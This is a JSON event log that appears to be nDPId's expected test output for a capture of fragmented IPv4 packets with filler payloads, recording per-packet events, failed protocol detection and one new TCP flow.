+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910935,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910947,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910960,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910972,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910984,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910996,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911008,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911022,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911036,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911048,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911060,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911072,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911096,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911108,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911122,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911134,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911146,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911158,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911172,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":911219,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAiQjQCMkJV4m"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1534244033211,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":10792,"dst_port":10790,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211391,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiooKiZeJSQjJiooS0lKSEc0yAAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211456,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211466,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211475,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211486,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211504,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211552,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211563,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211573,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211593,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211607,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211619,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211632,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211644,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211668,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211680,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211692,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 